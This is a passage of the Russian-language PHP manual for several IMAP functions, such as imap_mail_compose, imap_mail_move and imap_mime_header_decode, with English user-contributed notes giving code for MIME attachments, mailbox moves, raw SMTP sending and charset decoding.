Возвращает массив всех подписанных почтовых ящиков или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_list() - Прочитать список почтовых ящиков
  • imap_getmailboxes() - Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них

User Contributed Notes

There are no user contributed notes for this page.


Создать MIME-сообщение на основе заданных обёртки и тела

  • « imap_lsub
  • imap_mail_copy »
  • PHP Manual
  • Функции IMAP
  • Создать MIME-сообщение на основе заданных обёртки и тела

imap_mail_compose

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_compose — Создать MIME-сообщение на основе заданных обёртки и тела

Описание

imap_mail_compose(array $envelope, array $bodies): string|false

Создаёт MIME-сообщение на основе обёртки envelope и тела bodies.

Список параметров

envelope

Ассоциативный массив с полями заголовка. Допустимые ключи: "remail", "return_path", "date", "from", "reply_to", "in_reply_to", "subject", "to", "cc", "bcc" и "message_id", которые устанавливают соответствующие заголовки сообщений в заданную строку (string). Для установки дополнительных заголовков поддерживается ключ "custom_headers", который содержит ассоциативный массив прочих заголовков, например, ["User-Agent: My Mail Client"].

bodies

Индексированный массив тел. Первое тело - это основная часть сообщения; дальнейшие тела обрабатываются, только если оно с типом TYPEMULTIPART; эти тела составляют тела частей.

Структура массива тела
Ключ | Тип | Описание
type | int | Тип MIME. Один из TYPETEXT (по умолчанию), TYPEMULTIPART, TYPEMESSAGE, TYPEAPPLICATION, TYPEAUDIO, TYPEIMAGE, TYPEMODEL или TYPEOTHER.
encoding | int | Значение Content-Transfer-Encoding. Одно из ENC7BIT (default), ENC8BIT, ENCBINARY, ENCBASE64, ENCQUOTEDPRINTABLE или ENCOTHER.
charset | string | Параметр charset типа MIME.
type.parameters | array | Ассоциативный массив (array) имён параметров Content-Type и их значений.
subtype | string | Подтип MIME, например, 'jpeg' для TYPEIMAGE.
id | string | Значение Content-ID.
description | string | Значение Content-Description.
disposition.type | string | Значение Content-Disposition, например, 'attachment'.
disposition | array | Ассоциативный массив (array) имён параметров Content-Disposition и их значений.
contents.data | string | Полезная нагрузка.
lines | int | Размер полезной нагрузки в строках.
bytes | int | Размер полезной нагрузки в байтах.
md5 | string | Контрольная сумма MD5 полезной нагрузки.

Возвращаемые значения

Возвращает MIME-сообщение в виде строки (string) или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования imap_mail_compose()

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"] = "foo@example.com";
$envelope["cc"] = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

User Contributed Notes

jvandeweghe at kipsu dot com 06-Jun-2017 09:22
The custom_headers envelope documentation is misleading. Its not actually an "associative array", its a regular array of headers.

This is wrong:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET" => "example",
        "X-SES-MESSAGE-TAGS" => "emailType=example"
    ]
];
?>

This is right:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET: example",
        "X-SES-MESSAGE-TAGS: emailType=example"
    ]
];
?>
coxsterdillon at hotmail dot com 08-Sep-2013 05:54
So following on from their example, once you've composed your email with attachment or whatever, you'll probably want to send it.

since imap_mail(...) takes the message as body and re-encodes it, ignoring all the hard work you've done already.

Only real solution I found is to post it yourself:

// open connect to mail server
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if ($socket===false) {
    die('Error: socket_create, '.socket_strerror(socket_last_error()));
}

$server="myserver.com"; // say 10.0.0.1 or whatever your mail sever is
$port=25;  // again your mail server port, here generic smtp
if (socket_connect($socket,$server,$port)) {
    print "Connection successful\n";
}else {
    die('Error: socket_connect, '.socket_strerror(socket_last_error()));
}

// send it...
socket_write($socket,"HELO {$envelope["from"]}\n");
socket_write($socket,"MAIL FROM: {$envelope["from"]}\n");
socket_write($socket,"RCPT TO: {$envelope["to"]}\n");
socket_write($socket,"DATA\n");
socket_write($socket,"$message\n");
socket_write($socket,".\n");
socket_write($socket,"QUIT\n");

// done...
socket_close($socket);

Ofcourse the shell may work for you?

echo "Hello World" | mail -s "Greeting..." -a "attachSomeFile.txt" gspot@gmail.com
Guido 26-Aug-2008 10:25
For some email clients its necessary first to start with the body text and end with the attachment(s). Otherwise all the parts end up in attachments, also the body text (took a while to find this).

So example #1 (above) should be switched over, like:

$body[1] = $part1;
$body[2] = $part3;
$body[3] = $part2;
Freman 07-Aug-2007 05:57
Since at least PHP 4.3 the $part[] hash can contain the $part['type.parameters'] which expects a hash.

Unfortunately for "hans at lintoo dot dk" there doesn't appear to have ever been $part['parameters.name'] or a $part['dparameters.filename']

So it would appear the corrected code for his function is

<?php
            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['type.parameters'] = array('name' => $file_name);
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));
?>
While this correctly sets the header

Content-Type: application/octet-stream; name="file_name"
Content-Transfer-Encoding: BASE64
Content-Description: file_name
Content-Disposition: attachment; filename="file_name"

But this is still not a good idea to blanket set every attachment as a application/octet-stream so please consider using the unix command file, or Fileinfo functions (or even trusting file upload mimetype) and pay attention to the code from "derf dot m at reseaunix dot net"
hans at lintoo dot dk 25-Sep-2005 11:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
    $multipart["type"] = TYPEMULTIPART;
    $multipart["subtype"] = "mixed";
    $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
    for ($i=0;$i < count($file['tmp_name']);$i++) {
        if (is_uploaded_file($file['tmp_name'][$i])) {
            $file_handle = fopen($file["tmp_name"][$i], "rb");
            $file_name = $file["name"][$i];
            $file_size = filesize($file["tmp_name"][$i]);

            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['dparameters.filename'] = $file_name;
            $part['parameters.name'] = $file_name;
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

            $body[] = $part;
            unlink($file["tmp_name"][$i]);
        }
    }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk 23-Sep-2005 06:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de 06-Sep-2003 05:28
It is a good idea to set the date header:
$envelope['date']=date('r');
Los Olvidados 23-Jan-2003 02:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
trionon at mail dot ru 28-Jan-2002 11:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
prices at dflytech dot com 07-Jan-2002 09:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)


Скопировать сообщения в указанный почтовый ящик

  • « imap_mail_compose
  • imap_mail_move »
  • PHP Manual
  • Функции IMAP
  • Скопировать сообщения в указанный почтовый ящик

imap_mail_copy

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_copy — Скопировать сообщения в указанный почтовый ящик

Описание

imap_mail_copy(
IMAP\Connection $imap,
string $message_nums,
string $mailbox,
int $flags = 0
): bool

Копирует заданные в message_nums письма в указанный почтовый ящик.

Список параметров

imap

Экземпляр IMAP\Connection.

message_nums

message_nums - это диапазон, а не просто номера сообщений (как определено в » RFC2060).

mailbox

Имя почтового ящика. Более подробно читайте в разделе, посвящённом функции imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

flags

flags - битовая маска одной или нескольких констант:

  • CP_UID - означает, что в первом параметре не номера сообщений, а их UID.
  • CP_MOVE - удалить оригинальные сообщения после копирования. Если этот флаг установлен, функция ведёт себя идентично функции imap_mail_move().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_mail_move() - Переместить указанные сообщения в указанный почтовый ящик

User Contributed Notes

jigar dot dhaduk79 at gmail dot com 29-Sep-2015 11:11
When we want to copy more than one mail, we can write '(string)' before msg_num. Like..

$msg_num = "1,2,3,4,5,6,7";
$copy = imap_mail_copy($imap_stream, (string) $msg_num, '[Gmail]/Important', CP_UID);
Ben 26-Jan-2013 01:18
If you use this function and you get the following notice:

Notice: Unknown: IMAP protocol error: Could not parse command (errflg=2) in Unknown on line 0

Notice: Unknown: Could not parse command (errflg=2) in Unknown on line 0

you should check the function parameters. This notice appears (according to what I found on the internet and my problems) when it gets an invalid $msglist. So be sure to give the right number (as a String!):
"$msg_num", $msg_num or (string) $msg_num.

Dont use '$msg_num' when calling the function, this will literally send the string $msg_num.
You can give a string like "1,3,5,7,8", which will work perfectly fine to move the given mails.

I had all my mailnumbers in an array ( $messageSet) and used

<?php
$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )
?>

What I hadn't had thougt of was that my $messageSet was sometimes empty, that was when I got the notice. So you might want to check that by putting first:

<?php
if ( !( empty( $messageSet ) ) ) {

$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )

}
?>

That should work.
richard dot oplustil at gmail dot com 26-Mar-2012 03:18
imap_ mail_ move and imap_mail_copy don't work with sequence numbers on MS Exchange. imap_ uid in combination with CP_UID works fine.
marcus at names dot co dot uk 08-Jul-2002 10:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com 04-Jan-2001 04:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.


Переместить указанные сообщения в указанный почтовый ящик

  • « imap_mail_copy
  • imap_mail »
  • PHP Manual
  • Функции IMAP
  • Переместить указанные сообщения в указанный почтовый ящик

imap_mail_move

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_move — Переместить указанные сообщения в указанный почтовый ящик

Описание

imap_mail_move(
IMAP\Connection $imap,
string $message_nums,
string $mailbox,
int $flags = 0
): bool

Перемещает письма, заданные в message_nums в указанный почтовый ящик mailbox. Обратите внимание, что почтовые сообщения фактически копируются в mailbox, а исходные сообщения помечаются для удаления. Это означает, что сообщениям в mailbox назначаются новые UID.

Список параметров

imap

Экземпляр IMAP\Connection.

message_nums

message_nums - это диапазон, а не просто номера сообщений (как определено в » RFC2060).

mailbox

Имя почтового ящика. Более подробно читайте в разделе, посвящённом функции imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

flags

flags - битовая маска, которая может принимать всего одно значение:

  • CP_UID - означает, что в первом параметре не номера сообщений, а их UID

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примечания

Замечание:

Функция imap_mail_move() помечает оригинальное сообщение флагом удаления, так что не забудьте после неё вызвать функцию imap_expunge().

Смотрите также

  • imap_mail_copy() - Скопировать сообщения в указанный почтовый ящик

User Contributed Notes

FredN 02-Oct-2020 08:16
to get right the folders names for imap_mail_move/imap_mail_copy, do not guess, instead use imap_list
phpmanual at NOSPAMPLEASE dot headbank dot co dot uk 10-Sep-2020 12:57
Be aware that this function returning TRUE doesn't necessarily mean anything actually happened.

It counts as "success" if all messages matching the range you supply were moved; however that includes if there were _no_ matching messages to move.

So suppose you supply a sequence-number or UID that's invalid, e.g. because  it's no longer present in the source folder:

<?php
$res = imap_mail_move($stream, '99999', 'DestFolder', CP_UID);

var_dump($res); // bool(true)
?>

It's up to you to validate the desired message(s) before moving, and/or afterwards.
ThEDocTor 01-Feb-2011 10:15
To copy/move a mail in Gmail to a particular Folder like Starred/Spam/Drafts/Trash

use the following statement and don't forget to call CL_EXPUNGE or imap_expunge($mbox) after it.

<?php
imap_mail_copy($mbox,'16','[Gmail]/Starred'); // 16 is the message number, which can also be a range.(ex: '1:15')

imap_close($mbox,CL_EXPUNGE);
?>

Incase u want to send it to a personally created Label/folder(ex: Test) use..

<?php
imap_mail_copy($mbox,'16','Test');
imap_expunge($mbox);
imap_close($mbox);
?>
jim dot bodine at comcast dot net 04-Jul-2007 10:49
I offer the following example because it took me HOURS to figure this out

<?php
$this->mailInBox = imap_open($this->mailConnectString."INBOX", $this->accountLogin, $this->accountPassword);

            $this->messageCount = imap_num_msg($this->mailInBox);
            echo "Processing " . $this->messageCount . " messages:<Br>";
            for ($i = 1; $i <= $this->messageCount; ++$i) {
                $header = imap_header($this->mailInBox, $i);

                $prettydate = date("jS F Y", $header->udate);
                $fromHost = $header->from[0]->host;

                if (isset($header->from[0]->personal)) {
                    $personal = $header->from[0]->personal;
                } else {
                    $personal = $header->from[0]->mailbox;
                }

                $body = imap_fetchbody($this->mailInBox, $i, "1.1");
                if ($body == "") {
                   $body = imap_fetchbody($this->mailInBox, $i, "1");
                }

                    $move = "INBOX.processed" . date("Ymd");
                    echo "trying to move:" . $i . "<br>";
                    @imap_mail_move($this->mailInBox, $i, $move);

                }

?>
alex at bestgames dot ro 21-Nov-2005 01:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de 09-Jul-2003 09:06
To move mails via IMAP on an Exchange Server into "Gel?schte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de 27-Jan-2003 10:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net) 04-Nov-2002 01:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com 17-Jul-2002 02:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org 17-Aug-2001 12:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
      or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com 20-Jan-2000 06:41
The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

<?php
if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
?>
portico dot nospam at neverwas dot net 11-Jan-2000 03:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net 20-Dec-1999 03:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must imap_expunge the source box.


Отправить email

  • « imap_mail_move
  • imap_mailboxmsginfo »
  • PHP Manual
  • Функции IMAP
  • Отправить email

imap_mail

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail — Отправить email

Описание

imap_mail(
string $to,
string $subject,
string $message,
?string $additional_headers = null,
?string $cc = null,
?string $bcc = null,
?string $return_path = null
): bool

Эта функция позволяет отправлять сообщения с корректной обработкой получателей Cc и Bcc.

Параметры to, cc и bcc - строки, которые будут разобраны в соответствии с » RFC822.

Список параметров

to

Получатель

subject

Тема письма

message

Тело письма, смотрите imap_mail_compose()

additional_headers

Строка с дополнительными заголовками

cc

bcc

Получатели bcc получат письмо, но не будут указаны в заголовках.

return_path

Используйте этот параметр для указания обратного адреса для отсылки отчёта в случае неудачной доставки. Это удобно, когда PHP используется как почтовый клиент несколькими пользователями.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | additional_headers, cc, bcc и return_path теперь допускают значение null.

Смотрите также

  • mail() - Отправляет электронную почту
  • imap_mail_compose() - Создать MIME-сообщение на основе заданных обёртки и тела

User Contributed Notes

Patanjali 13-Jan-2018 08:48
In response to Mathias Rav's comment.

While imap_mail might have this $rpath bug, it is hardly comparable to mail, because mail only uses the default send mail server account, and not a real mailbox, which you can programmatically interrogate and clean up.

Using the imap extension allows proper mail management and operation, like users not getting the cryptic server account name followed by 'on behalf of' the 'From' address that mail sourced emails show on some recipient clients.
Mathias Rav 23-Jun-2009 09:07
As per http://bugs.php.net/bug.php?id=30688 the $rpath argument is ignored, and since the (as of now) 4 year old bug is tagged WONTFIX in the bug tracker, this function is effectively deprecated in favour of mail().
uphonesimon at gmail dot com 22-Dec-2005 11:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
bandpay at hotmail dot com 05-Jan-2001 06:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3


Получить информацию о текущем почтовом ящике

  • « imap_mail
  • imap_mime_header_decode »
  • PHP Manual
  • Функции IMAP
  • Получить информацию о текущем почтовом ящике

imap_mailboxmsginfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mailboxmsginfo — Получить информацию о текущем почтовом ящике

Описание

imap_mailboxmsginfo(IMAP\Connection $imap): stdClass

Проверяет статус текущего почтового ящика на сервере. Аналогично imap_status(), но дополнительно вычисляет суммарный размер всех писем в ящике, из-за чего работает несколько медленнее.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает объект со следующими полями:

Свойства почтового ящика
Date | дата последнего изменения (текущие дата и время)
Driver | драйвер
Mailbox | имя почтового ящика
Nmsgs | количество писем
Recent | количество новых
Unread | количество непрочитанных
Deleted | количество удалённых
Size | размер ящика

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_mailboxmsginfo()

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
or die("не удалось подключиться: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
echo "Date: " . $check->Date . "<br />\n" ;
echo "Driver: " . $check->Driver . "<br />\n" ;
echo "Mailbox: " . $check->Mailbox . "<br />\n" ;
echo "Messages: " . $check->Nmsgs . "<br />\n" ;
echo "Recent: " . $check->Recent . "<br />\n" ;
echo "Unread: " . $check->Unread . "<br />\n" ;
echo "Deleted: " . $check->Deleted . "<br />\n" ;
echo "Size: " . $check->Size . "<br />\n" ;
} else {
echo "Вызов imap_mailboxmsginfo() завершился с ошибкой: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

User Contributed Notes

workshop200 dot com at gmail dot com 29-Jan-2018 09:55
If you need to get only time for the mailbox you should go with imap_check()
phrank 15-Mar-2010 05:32
imap_mailboxmsginfo() is NOT similar to imap_status(). You will easily recognize that if you compare the prototypes:

object imap_mailboxmsginfo  (  resource $imap_stream  )

object imap_status  (  resource $imap_stream  ,  string $mailbox  ,  int $options  )

One SIGNIFICANT difference is that imap_mailboxmsginfo() gets the mailbox name from the stream resource and imap_status() requires any mailbox name as second argument.
Maxg 30-Aug-2004 02:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org 12-Mar-2003 01:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
js at jerntorget dot se, ej at jerntorget dot se 20-Sep-2002 07:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
    return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be 11-Aug-2002 01:13
imap_get_quota need you to be the admin of the mail server !


Декодировать элементы заголовка

  • « imap_mailboxmsginfo
  • imap_msgno »
  • PHP Manual
  • Функции IMAP
  • Декодировать элементы заголовка

imap_mime_header_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mime_header_decode — Декодировать элементы заголовка

Описание

imap_mime_header_decode(string $string): array|false

Декодирует MIME-расширения заголовка, не являющиеся текстом ASCII (смотри » RFC2047).

Список параметров

string

MIME-текст

Возвращаемые значения

Декодированные элементы возвращаются в массиве объектов, где каждый объект имеет два свойства, charset и text.

Если элемент не был декодирован, или, другими словами, он является текстом US-ASCII, свойство charset будет установлено в значение default.

Функция возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования imap_mime_header_decode()

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
echo "Charset: {$elements[$i]->charset}\n";
echo "Text: {$elements[$i]->text}\n\n";
}
?>

Результат выполнения данного примера:

Charset: ISO-8859-1
Text: Keld Jorn Simonsen

Charset: default
Text:  <keld@example.com>

В примере выше, мы получим два элемента, где первый элемент был ранее закодирован в ISO-8859-1, а второй US-ASCII.

Смотрите также

  • imap_utf8() - Преобразует MIME-кодированный текст в UTF-8

User Contributed Notes

alchrystal88 at web dot de 24-Jan-2019 11:43
If you have errors with wrong attachment names like this:

correct name:
String -> Prufbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
paolo dot ceccacci at gmail dot com 24-Sep-2014 08:45
Here's a "flatMimeDecode" version converting UTF-8 to iso-8859-1:

function flatMimeDecode($string) {
        $array = imap_mime_header_decode ($string);
        $str = "";
        foreach ($array as $key => $part) {
            if($part->charset == "UTF-8"){
            $str .= utf8_decode ($part->text);
            }else{
            $str .= $part->text;
            }
        }
        return $str;
    }
Anonymous 04-Mar-2013 09:42
A nice way to decode strings is to use the mb_list_encodings(), but I had two problems with it:
sometimes, the charset is uppercase in the header an lowercase in mb_list_encodings() and sometimes, the charset is not in the mb_list_encodings() list.

<?php
function upperListEncode() { //convert mb_list_encodings() to uppercase
    $encodes=mb_list_encodings();
    foreach ($encodes as $encode) $tencode[]=strtoupper($encode);
    return $tencode;
    }

function decode($string) {
    $tabChaine=imap_mime_header_decode($string);
    $texte='';
    for ($i=0; $i<count($tabChaine); $i++) {

        switch (strtoupper($tabChaine[$i]->charset)) { //convert charset to uppercase
            case 'UTF-8': $texte.= $tabChaine[$i]->text; //utf8 is ok
                break;
            case 'DEFAULT': $texte.= $tabChaine[$i]->text; //no convert
                break;
            default: if (in_array(strtoupper($tabChaine[$i]->charset),upperListEncode())) //found in mb_list_encodings()
                        {$texte.= mb_convert_encoding($tabChaine[$i]->text,'UTF-8',$tabChaine[$i]->charset);}
                     else { //try to convert with iconv()
                          $ret = iconv($tabChaine[$i]->charset, "UTF-8", $tabChaine[$i]->text);
                          if (!$ret) $texte.=$tabChaine[$i]->text;  //an error occurs (unknown charset)
                          else $texte.=$ret;
                        }
                break;
            }
        }

    return $texte;
    }
?>
kai at froghh dot de 04-Aug-2008 09:25
Beware of multilined subjects containing whitespaces which are not part of the subject itself, but needed as functional characters for the clients.

i.e. you can have a mail header containing content like
Subject: =?iso-8859-1?Q?WG=3A_Mobilit=E4t_verschlechtert_--=3E_174?=
    =?iso-8859-1?Q?6?=

(carriage return and tabspace).
imap_mime_header_decode returns 5 parts (and not expected 2)
for this example.
- The first containing the space between "subject:" and the subject itself.
- The second is the first encoded text
- The third will be the line-break within the head lines.
The were inserted to keep rfc compliant line length and are NOT part of the original subject entered by the sender.
- The fourth will be the second part of the subject.
